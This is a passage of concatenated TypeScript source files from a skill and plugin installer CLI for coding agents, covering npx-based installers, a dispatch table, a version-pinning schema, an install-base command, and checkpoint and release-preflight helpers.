     cmd = `npx --yes ${ctx.manifest.metadata.upstream.source}@${install.npm_version}`\n      level = 'L1'\n      const conf2 = await confirmAt('L1', { ...ctx, level: 'L1' })\n      if (!conf2.proceed) return { aborted: true, reason: 'user-cancel' }\n    } else {\n      // confirm.reason 'flag-missing' (L4 non-interactive) maps to InstallResult\n      // 'level-flag-missing'; 'user-cancel' / undefined → 'user-cancel'.\n      const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n      return { aborted: true, reason }\n    }\n  }\n  // dry-run short-circuit (preview-only, never writes — ADR 0004 contract 1)\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n  // v3.0.2: explicit install timeout (60s default — Windows cold npm/npx cache friendly).\n  const sp = await spawnCmd(ctx, cmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n  if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n  if (sp.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `install cmd exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n        'install-failed',\n      ),\n    }\n  }\n  // v3.0.2: verify honors spec.verify.timeout_ms (default 15s) — manifest authors retain control.\n  const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n  // v23 (4.5.1) — verify cmds use POSIX builtins (test/grep/|); route through Git Bash on Windows.\n  const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs, {\n    posixShell: true,\n  })\n  if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n  const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n  if (vr.exitCode !== expected) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `verify exit ${vr.exitCode} ≠ expected ${expected}`,\n        'verify-failed',\n      ),\n    }\n  }\n  // manifest sha1 capture is a Wave 5 CLI concern (it owns the raw yaml bytes);\n  // T3.1 records empty-string placeholder per state.ts schema.\n  await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.npm_version, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [] }\n}\n","// Phase 2.1 install method 6/6 — cc-skill-pack × npx-skill-installer per ADR\n// 0004 § 5 + ADR 0007 install_type=npx + ADR 0010 errata D2.1-4/5/6.\n//\n// IMPL NOTE (Rule 1 / D2.1-4 + D2.1-5 — pinned skills@1.5.7 + --copy [--global]):\n// the npx tool is `skills` (vercel-labs/skills). v1.5.7 is the research-pinned\n// stable version (RESEARCH.md § 2). `--copy` is MANDATORY; `--global` is OPTIONAL:\n//   - `--copy` materializes SKILL.md files into ~/.claude/skills/<name>/ instead\n//     of symlinks (default symlinks break on Windows + on systems with\n//     ~/.claude on a different volume than the npx cache). `--copy` ALONE already\n//     installs into ~/.claude/skills/ (home/user-scope) — the path verify checks.\n//   - `--global` only ADDITIONALLY suppresses the cwd copy. It is NOT required,\n//     and some skill types (e.g. PromptScript) reject it outright\n//     (`PromptScript does not support global skill installation`) — forcing it\n//     would 300s-hang or fail those packs. So we make it opt-in per manifest.\n// These flags are encoded by the manifest cmd string; we PRESERVE the user's\n// cmd verbatim through spawnCmd, AND we assert `--copy` is present (preflight)\n// to prevent silent mis-install (broken symlinks) via a typo'd manifest.\n//\n// IMPL NOTE (Rule 1 / D2.1-6 CRITICAL — real-path verify, NOT npx exit code):\n// `npx skills add ... --copy --global` can exit 0 without actually writing\n// SKILL.md to ~/.claude/skills/<name>/. Known causes:\n//   - skills CLI default targets ~/.agents/ on some systems (D-02 bridge gap)\n//   - npm prefix mis-configured\n//   - permission errors silently swallowed by npx\n// → verify by `test -f ~/.claude/skills/<name>/SKILL.md` (the REAL path).\n// npx-success + verify-fail → InstallError keyword:'verify-failed' with a\n// suggest pointing at the ~/.agents/ vs ~/.claude/ bridge limitation (D-02).\n// This is the heart of the C6 directory-conflict gotcha — we cannot trust\n// the spawn exit code; the filesystem is the only authority.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): thin orchestrator on top of spawnCmd. The\n// real-path verify is fs-based (`fs.access` / `fs.stat`), not a spawned `test`\n// — direct fs is faster, doesn't depend on /bin/test or cmd.exe behavior,\n// and produces a clean Promise without process plumbing.\n\nimport { join } from 'node:path'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { detectSkillPresence, extractSkillName, isAlreadyInstalled } from './lib/idempotent.js'\nimport { detectPlatform, getSkillsDir } from './lib/platform.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\nexport const installNpxSkillInstaller: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'npx-skill-installer') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installNpxSkillInstaller received non-npx-skill-installer method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.6 — idempotent_check probe (skip install if already-installed).\n  if (await isAlreadyInstalled(ctx)) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n\n  // D2.1-5 (relaxed) — assert --copy is present. `--global` is OPTIONAL.\n  // `--copy` alone already materializes SKILL.md into ~/.claude/skills/<name>/\n  // (Windows symlink-safe); `--global` only additionally suppresses the cwd\n  // copy. Some skill types (e.g. PromptScript) DO NOT support --global at all\n  // (`PromptScript does not support global skill installation`), so forcing it\n  // would make those packs uninstallable. We still fail-loud on missing --copy\n  // (without it the default symlinks break on Windows + cross-volume ~/.claude).\n  if (!/\\B--copy\\b/.test(install.cmd)) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/cmd',\n          `npx-skill-installer cmd must include the \\`--copy\\` flag (D2.1-5)`,\n          'skills-flags-required',\n        ),\n        suggest:\n          '`--copy` materializes files into ~/.claude/skills/ (Windows symlink-safe); `--global` is optional and unsupported by some skill types (e.g. PromptScript)',\n      },\n    }\n  }\n\n  // v4.14.0 T4 — per-platform --agent injection. The skills CLI targets a\n  // specific agent's skills dir; pinning it in manifest cmds hardcoded CC\n  // (4.13.0 regression on codex). Inject from the active descriptor instead:\n  // claude → claude-code, codex → codex (both verified valid agent ids via\n  // `skills ls --agent` probe, findings.md). An explicit manifest --agent wins;\n  // unknown platform ids inject nothing (skills CLI auto-detects).\n  const AGENT_BY_PLATFORM: Record<string, string | undefined> = {\n    claude: 'claude-code',\n    codex: 'codex',\n  }\n  const platformId = detectPlatform().id\n  const agentId = AGENT_BY_PLATFORM[platformId]\n  const hasExplicitAgent = /(?:^|\\s)(?:--agent|-a)\\s/.test(install.cmd)\n  const effectiveCmd =\n    agentId && !hasExplicitAgent ? `${install.cmd} --agent ${agentId}` : install.cmd\n\n  // L2 — per-user (<skillsDir>/<name>/). pure-create DiffPlan with SKILL.md as\n  // the target file under HOME scope. rollback = rm -rf the skill dir.\n  // v4.14.0 — skillsDir via descriptor (was hardcoded ~/.claude/skills).\n  const name = ctx.manifest.metadata.name\n  const skillSegment = extractSkillName(install.cmd, name)\n  const skillDir = join(getSkillsDir(), skillSegment)\n  const skillMdPath = join(skillDir, 'SKILL.md')\n  const plan: DiffPlan = {\n    files: [\n      {\n        target: skillMdPath,\n        scope: 'HOME',\n        oldText: '',\n        newText: `// new SKILL.md created by: ${effectiveCmd}\\n`,\n      },\n    ],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L2', { ...ctx, level: 'L2' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n  // npx invocation (cmd from manifest + injected --agent; B1 re-screened by\n  // spawnCmd — agent ids are alnum+dash, they pass checkCmdString).\n  // v3.0.2: explicit install timeout (60s — npx cold cache + skills add filesystem traverse).\n  const sp = await spawnCmd(ctx, effectiveCmd, [], DEFAULT_INSTALL_TIMEOUT_MS)\n  if (!('exitCode' in sp)) return { ...sp, backupId: bk.backupId } as InstallResult\n  if (sp.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `npx skills add exited ${sp.exitCode}: ${sp.stderr.slice(0, 200)}`,\n        'install-failed',\n      ),\n    }\n  }\n\n  // D2.1-6 CRITICAL — real-path verify. npx exit 0 ≠ files actually written.\n  // v4.13.0 — probe via detectSkillPresence (shared with the idempotent_check\n  // detector): indicator sub-skills + `--skill` name across ~/.claude/skills AND\n  // ~/.agents/skills. Pre-4.13.0 this checked ONE hardcoded ~/.claude/skills\n  // path built from the repo segment — multi-skill packs (mattpocock) and\n  // --skill installs (design-taste-frontend) failed verify even on success.\n  const present = await detectSkillPresence(install.cmd, name)\n  if (!present) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: {\n        ...err(\n          ctx,\n          '/spec/verify/cmd',\n          `npx skills add reported success but SKILL.md is missing at ${skillMdPath}; the skills CLI may have written to ~/.agents/ instead (D-02 bridge limitation) or the npm prefix is misconfigured`,\n          'verify-failed',\n        ),\n        suggest: `check if SKILL.md exists at ~/.agents/${skillSegment}/SKILL.md (skills CLI default on some systems); if so, copy or symlink it into ~/.claude/skills/${skillSegment}/`,\n      },\n    }\n  }\n\n  // Optional secondary verify: run the manifest verify.cmd (often a grep\n  // check) for parity with other installers and to surface install-specific\n  // post-conditions like \"CLAUDE.md was patched\".\n  // v3.0.2: verify honors spec.verify.timeout_ms (default 15s).\n  const verifyTimeoutMs = ctx.manifest.spec.verify.timeout_ms ?? DEFAULT_VERIFY_TIMEOUT_MS\n  // v23 (4.5.1) — verify cmds use POSIX builtins (test/grep/|); route through Git Bash on Windows.\n  const vr = await spawnCmd(ctx, ctx.manifest.spec.verify.cmd, [], verifyTimeoutMs, {\n    posixShell: true,\n  })\n  if (!('exitCode' in vr)) return { ...vr, backupId: bk.backupId } as InstallResult\n  const expected = ctx.manifest.spec.verify.expected_exit_code ?? 0\n  if (vr.exitCode !== expected) {\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `manifest verify cmd exit ${vr.exitCode} ≠ expected ${expected}: ${vr.stderr.slice(0, 200)}`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, name, install.npm_version, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [skillMdPath] }\n}\n","// Phase 1.2 → 2.1 installer dispatch table.\n//\n// Phase 1.2 shipped 2 of 6 install methods: npm-cli + mcp-stdio-add.\n// Phase 2.1 unblocks the remaining 4 (cc-plugin-marketplace / git-clone-with-setup /\n// npx-skill-installer / mcp-http-add). All 6 methods are now runtime-ready —\n// the phase21 placeholder const has been removed. See PATTERNS § 4 + ADR 0010 errata.\n//\n// Level mapping per ADR 0004 § 4 (4-level confirm strictness):\n//   L1: harnessed-local writes only      → npx ephemeral\n//   L2: per-user (~/.claude/skills/)     → git-clone / npx-skill / npm local\n//   L3: user-config (~/.claude.json /    → cc-plugin-marketplace / mcp-stdio /\n//       .mcp.json / hooks)                  mcp-http\n//   L4: system PATH / global binary      → npm install -g\n//\n// npm-cli's level is dynamic (npmCli.ts re-detects from cmd string); we default\n// to L4 here as the safest pre-confirmation seed — npmCli may downgrade to L1\n// after the dry-run preview when cmd uses npx.\n\nimport { installCcHookAdd } from './ccHookAdd.js'\nimport { installCcPluginMarketplace } from './ccPluginMarketplace.js'\nimport { installGitCloneWithSetup } from './gitCloneWithSetup.js'\nimport { detectPlatform } from './lib/platform.js'\nimport type { Installer, InstallOpts, InstallResult, Level, Manifest } from './lib/types.js'\nimport { installMcpHttpAdd } from './mcpHttpAdd.js'\nimport { installMcpStdioAdd } from './mcpStdioAdd.js'\nimport { installNpmCli } from './npmCli.js'\nimport { installNpxSkillInstaller } from './npxSkillInstaller.js'\n\nexport const installers: Record<Manifest['spec']['install']['method'], Installer> = {\n  'npm-cli': installNpmCli,\n  'mcp-stdio-add': installMcpStdioAdd,\n  'cc-plugin-marketplace': installCcPluginMarketplace,\n  'git-clone-with-setup': installGitCloneWithSetup,\n  'npx-skill-installer': installNpxSkillInstaller,\n  'mcp-http-add': installMcpHttpAdd,\n  // Phase 2.4 W3 T3.1 (D-04 § 3.1) — 7th installer.\n  'cc-hook-add': installCcHookAdd,\n}\n\nfunction levelOf(manifest: Manifest): Level {\n  const method = manifest.spec.install.method\n  switch (method) {\n    case 'mcp-stdio-add':\n    case 'mcp-http-add':\n    case 'cc-plugin-marketplace':\n    case 'cc-hook-add':\n      // ~/.claude/settings.json is shared user-scope state (L3 tier sister\n      // mcp-stdio CC #54803 \"shared user state\" warning).\n      return 'L3'\n    case 'git-clone-with-setup':\n    case 'npx-skill-installer':\n      return 'L2'\n    case 'npm-cli':\n      return 'L4'\n  }\n}\n\n// v4.14.0 T3 — methods with NO non-claude install path unless the manifest\n// carries a harness override (claude plugin marketplace / settings hooks are\n// CC infrastructure; ralph-loop & gstack intentionally have no codex override).\nconst CLAUDE_ONLY_METHODS: ReadonlySet<string> = new Set(['cc-plugin-marketplace', 'cc-hook-add'])\n\n/** v4.14.0 T3 — resolve the effective manifest for the ACTIVE harness platform.\n *  claude → verbatim. Other platforms: `spec.harness_overrides.<id>` present →\n *  install (and verify, when given) replaced wholesale; absent + claude-only\n *  method → 'harness-mismatch' gate. Exported for setup/tests. */\nexport function resolveForHarness(\n  manifest: Manifest,\n): { manifest: Manifest; gate: null } | { manifest: Manifest; gate: InstallResult } {\n  const platform = detectPlatform()\n  if (platform.id === 'claude') return { manifest, gate: null }\n  const override = platform.id === 'codex' ? manifest.spec.harness_overrides?.codex : undefined\n  if (override) {\n    const spec = {\n      ...manifest.spec,\n      install: override.install,\n      verify: override.verify ?? manifest.spec.verify,\n    }\n    return { manifest: { ...manifest, spec }, gate: null }\n  }\n  if (CLAUDE_ONLY_METHODS.has(manifest.spec.install.method)) {\n    return { manifest, gate: { aborted: true, reason: 'harness-mismatch' } }\n  }\n  return { manifest, gate: null }\n}\n\nexport async function runInstall(manifest: Manifest, opts: InstallOpts): Promise<InstallResult> {\n  const resolved = resolveForHarness(manifest)\n  if (resolved.gate) return resolved.gate\n  const effective = resolved.manifest\n  const installer = installers[effective.spec.install.method]\n  return installer({ manifest: effective, opts, level: levelOf(effective), cwd: process.cwd() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n  {\n    name: Type.String({ minLength: 1 }),\n    version: Type.String({ minLength: 1 }),\n    install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n  },\n  { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n  {\n    schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n    harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n    e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n    upstreams: Type.Array(PinnedUpstream),\n  },\n  { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n *  Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n  if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n  const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n  if (!existsSync(path)) {\n    _cache.set(harnessedVer, null)\n    return null\n  }\n  const raw = readFileSync(path, 'utf8')\n  const parsed = parse(raw) as unknown\n  if (!Value.Check(KnownGoodV1, parsed)) {\n    const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n    throw new Error(\n      `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n    )\n  }\n  _cache.set(harnessedVer, parsed)\n  return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n  const kg = loadKnownGood(harnessedVer)\n  if (!kg) return null\n  const entry = kg.upstreams.find((u) => u.name === upstreamName)\n  return entry?.version ?? null\n}\n","// Phase 1.3 cli subcommand `install-base` per ADR 0007 + R1 D-9 + D-11.\n//\n// IMPL NOTE (D-9 独立子命令 / D-11 三态 / Rule 1 H1 gate):\n// - D-9: 不在 `install <name>` 上加 `--base` flag, 避免 H1 gate 冲突. Auto-glob\n//   `manifests/{tools,skill-packs}/*.yaml`.\n// - D-11: phase 2.1 placeholder method (cc-plugin-marketplace / git-clone-with-setup\n//   / npx-skill-installer / mcp-http-add) 不算 failure 计入 skipped (沿袭\n//   INSTALLER-CONTRACT 契约 6 放宽 \"deferred ≠ failure\").\n//   exit: 0 if installed > 0 + failed === 0; 1 if failed > 0; 2 if 全 skipped.\n// - v3.3.0: `--apply` backward-compat alias removed; default is apply-immediate.\n\nimport { readdir, readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport type { Command } from 'commander'\nimport { runInstall } from '../installers/index.js'\nimport type { InstallOpts } from '../installers/lib/types.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { getPackageRoot } from './lib/packagePath.js'\n\ninterface RawOpts {\n  dryRun?: boolean\n  nonInteractive?: boolean\n}\n\n// v3.9.5 — removed stale PHASE_21 deferred-method set (sister setup-helpers.ts\n// cleanup). All 6 installer methods are runtime-ready; let runInstall dispatch.\n\nasync function listBaseManifests(cwd: string): Promise<string[]> {\n  const out: string[] = []\n  for (const d of ['manifests/tools', 'manifests/skill-packs']) {\n    try {\n      const entries = await readdir(resolve(cwd, d))\n      for (const f of entries.sort()) if (f.endsWith('.yaml')) out.push(resolve(cwd, d, f))\n    } catch {}\n  }\n  return out\n}\n\nexport interface InstallProfileResult {\n  installed: string[]\n  alreadyInstalled: string[]\n  skipped: { name: string; reason: string }[]\n  failed: { name: string; reason: string }[]\n}\n\n/** Phase 20 — the pure install loop, extracted so both `install-base` and\n *  `harnessed update --upstreams` can run the base profile. Returns the tally;\n *  does NOT print or `process.exit` (the caller owns I/O + exit policy). */\nexport async function installBaseProfile(opts: InstallOpts): Promise<InstallProfileResult> {\n  const installed: string[] = []\n  const alreadyInstalled: string[] = []\n  const skipped: { name: string; reason: string }[] = []\n  const failed: { name: string; reason: string }[] = []\n  for (const path of await listBaseManifests(getPackageRoot())) {\n    let yamlSrc: string\n    try {\n      yamlSrc = await readFile(path, 'utf8')\n    } catch (e) {\n      failed.push({ name: path, reason: `read: ${(e as Error).message}` })\n      continue\n    }\n    const v = validateManifestFile(yamlSrc, path)\n    if (!v.ok) {\n      failed.push({ name: path, reason: `validate: ${v.errors[0]?.message ?? 'unknown'}` })\n      continue\n    }\n    const name = v.manifest.metadata.name\n    const r = await runInstall(v.manifest, opts)\n    if ('aborted' in r) skipped.push({ name, reason: `aborted: ${r.reason}` })\n    else if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled) alreadyInstalled.push(name)\n    else if (r.ok) installed.push(name)\n    else failed.push({ name, reason: r.error.message })\n  }\n  return { installed, alreadyInstalled, skipped, failed }\n}\n\nexport function registerInstallBase(program: Command): void {\n  program\n    .command('install-base')\n    .description(\n      'Install the phase 1.3 base profile (immediate by default — use --dry-run for preview)',\n    )\n    .option('--dry-run', 'preview only — do not write to disk (opt-in for advanced users)')\n    .option('--non-interactive', 'skip all prompts (CI / scripts)')\n    .action(async (raw: RawOpts) => {\n      // v3.0.1 UX flip — apply-immediate default + --dry-run opt-in。\n      const dryRun = raw.dryRun === true\n      const opts: InstallOpts = {\n        apply: !dryRun,\n        dryRun,\n        system: false,\n        nonInteractive: raw.nonInteractive === true,\n        fullDiff: false,\n        color: 'auto',\n      }\n      const { installed, alreadyInstalled, skipped, failed } = await installBaseProfile(opts)\n      console.log(\n        `\\n  installed: ${installed.length} / already-installed: ${alreadyInstalled.length} / skipped (user-aborted): ${skipped.length} / failed: ${failed.length}`,\n      )\n      for (const i of installed) console.log(`  installed          ${i}`)\n      for (const a of alreadyInstalled)\n        console.log(`  already-installed  ${a} — run \\`/mcp\\` in Claude Code to verify connection`)\n      for (const s of skipped) console.log(`  skipped            ${s.name} — ${s.reason}`)\n      for (const f of failed) console.error(`  failed             ${f.name} — ${f.reason}`)\n      if (failed.length > 0) process.exit(1)\n      if (installed.length === 0 && alreadyInstalled.length === 0) process.exit(2)\n      process.exit(0)\n    })\n}\n","// src/checkpoint/nextStep.ts — G2 deterministic next-step contract. Pure resolver\n// (schema-type-only) over the ledger; reuses nextPending (ledger.ts). Mirrors comet\n// `comet-state next` output: auto | manual | done. autoTransition precedence is\n// resolved by the CLI (env > envelope > default) before calling this.\n\nimport { nextPending } from './ledger.js'\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\nexport interface NextStep {\n  next: 'auto' | 'manual' | 'done'\n  sub?: string\n  hint?: string\n}\n\n/**\n * Resolve the auto-transition flag. Precedence (v8.0 Phase 24 — migrated from\n * cli/next.ts so the bare `harnessed` entry can reuse it): the\n * `HARNESSED_AUTO_TRANSITION` env var wins ('true'/'false'), else the per-workflow\n * envelope value, else default `true`. `env` is injectable for unit tests.\n */\nexport function resolveAutoTransition(\n  envelopeValue?: boolean,\n  env = process.env.HARNESSED_AUTO_TRANSITION,\n): boolean {\n  if (env === 'true') return true\n  if (env === 'false') return false\n  return envelopeValue ?? true\n}\n\nexport function resolveNext(ledger: SubProgressEntryType[], autoTransition: boolean): NextStep {\n  const sub = nextPending(ledger)\n  if (sub === null) return { next: 'done' }\n  if (autoTransition) return { next: 'auto', sub }\n  return {\n    next: 'manual',\n    sub,\n    hint: `pending sub '${sub}' — run the next step manually to continue`,\n  }\n}\n","// Phase 21 Wave 1 — release-preflight: the machine-checkable \"PR ready != release\n// ready\" gate. collectPreflight is PURE over injected deps; defaultDeps reads the\n// repo READ-ONLY (CHANGELOG, package.json, `git status --porcelain`, `git tag -l`).\n// Nothing here mutates git or the remote — ship stops at tag-ready (publish.yml CI\n// does the actual publish on tag push).\n\nimport { execFileSync } from 'node:child_process'\nimport { readFileSync } from 'node:fs'\nimport { join } from 'node:path'\n\nexport interface PreflightDeps {\n  changelog: string\n  version: string\n  gitStatus: string // `git status --porcelain` output\n  gitTags: string[] // `git tag -l` lines\n}\n\nexport interface PreflightCheck {\n  name: string\n  status: 'pass' | 'warn' | 'fail'\n  message: string\n  fix?: string\n}\n\n/** Content of the `## [Unreleased]` section (up to the next `## ` heading). */\nfunction unreleasedSection(changelog: string): string {\n  const start = changelog.indexOf('## [Unreleased]')\n  if (start < 0) return ''\n  const after = changelog.slice(start + '## [Unreleased]'.length)\n  const next = after.indexOf('\\n## ')\n  return (next >= 0 ? after.slice(0, next) : after).trim()\n}\n\n/** Pure — the read-only release-readiness checks. */\nexport function collectPreflight(deps: PreflightDeps): PreflightCheck[] {\n  const checks: PreflightCheck[] = []\n\n  // Documented if [Unreleased] has entries (pre-cut) OR a section for the current\n  // version already exists (post-cut, the form publish.yml reads for release notes).\n  const unreleased = unreleasedSection(deps.changelog)\n  const hasVersionSection = deps.changelog.includes(`## [${deps.version}]`)\n  checks.push(\n    unreleased.length > 0 || hasVersionSection\n      ? {\n          name: 'changelog',\n          status: 'pass',\n          message: hasVersionSection\n            ? `CHANGELOG has a [${deps.version}] section`\n            : 'CHANGELOG [Unreleased] has entries',\n        }\n      : {\n          name: 'changelog',\n          status: 'fail',\n          message: 'CHANGELOG [Unreleased] is empty and no version section exists',\n          fix: 'document this release under ## [Unreleased] (or ## [<version>]) before shipping',\n        },\n  )\n\n  checks.push(\n    /^\\d+\\.\\d+\\.\\d+/.test(deps.version)\n      ? { name: 'version', status: 'pass', message: `package.json version ${deps.version}` }\n      : {\n          name: 'version',\n          status: 'fail',\n          message: 'package.json version missing or malformed',\n          fix: 'set a valid semver in package.json',\n        },\n  )\n\n  checks.push(\n    deps.gitStatus.trim() === ''\n      ? { name: 'git-clean', status: 'pass', message: 'working tree clean' }\n      : {\n          name: 'git-clean',\n          status: 'fail',\n          message: 'working tree has uncommitted changes',\n          fix: 'commit or stash before releasing',\n        },\n  )\n\n  const tag = `v${deps.version}`\n  checks.push(\n    deps.gitTags.includes(tag)\n      ? {\n          name: 'tag-absent',\n          status: 'fail',\n          message: `${tag} already exists`,\n          fix: 'bump package.json — this version is already tagged',\n        }\n      : { name: 'tag-absent', status: 'pass', message: `${tag} not yet tagged` },\n  )\n\n  return checks\n}\n\nexport function anyFailed(checks: PreflightCheck[]): boolean {\n  return checks.some((c) => c.status === 'fail')\n}\n\n/** Read-only repo state. Fail-soft: unreadable inputs degrade to empty, which the\n *  checks surface as a failure rather than crashing. */\nexport function defaultDeps(cwd: string): PreflightDeps {\n  let changelog = ''\n  let version = ''\n  try {\n    changelog = readFileSync(join(cwd, 'CHANGELOG.md'), 'utf8')\n  } catch {}\n  try {\n    version = JSON.parse(readFileSync(join(cwd, 'package.json'), 'utf8')).version ?? ''\n  } catch {}\n  let gitStatus = ''\n  let gitTags: string[] = []\n  try {\n    // --untracked-files=no: a release gate cares about uncommitted *tracked*\n    // changes (those would land in the tag); untracked local scratch does not\n    // affect a tag-based release and should not block it.\n    gitStatus = execFileSync('git', ['status', '--porcelain', '--untracked-files=no'], {\n      cwd,\n      encoding: 'utf8',\n    })\n  } catch {}\n  try {\n    gitTags = execFileSync('git', ['tag', '-l'], { cwd, encoding: 'utf8' })\n      .split('\\n')\n      .map((s) => s.trim())\n      .filter(Boolean)\n  } catch {}\n  return { changelog, version, gitStatus, gitTags }\n}\n","// src/checkpoint/recovery.ts — G3 structured recovery actions. Pure mapper from the\n// ledger's sub-states to human next-actions (comet `check --recover` analog). Used by\n// runResume to translate \"where am I\" into \"what to do next\" after a compaction resume.\n\nimport type { SubProgressEntryType } from './schema/currentWorkflow.v1.js'\n\nexport function recoveryActions(ledger: SubProgressEntryType[]): string[] {\n  const actions: string[] = []\n  for (const e of ledger) {\n    if (e.status === 'pending') actions.push(`run sub ${e.sub}`)\n    else if (e.status === 'failed')\n      actions.push(`sub ${e.sub} failed ${e.fail_count ?? 1}x — investigate before retry`)\n  }\n  if (actions.length === 0) return ['all subs resolved — run: harnessed next']\n  return actions\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { detectDrift } from './evidence.js'\nimport { recoveryActions } from './recovery.js'\nimport { CheckpointV1, type CheckpointV1Type, type 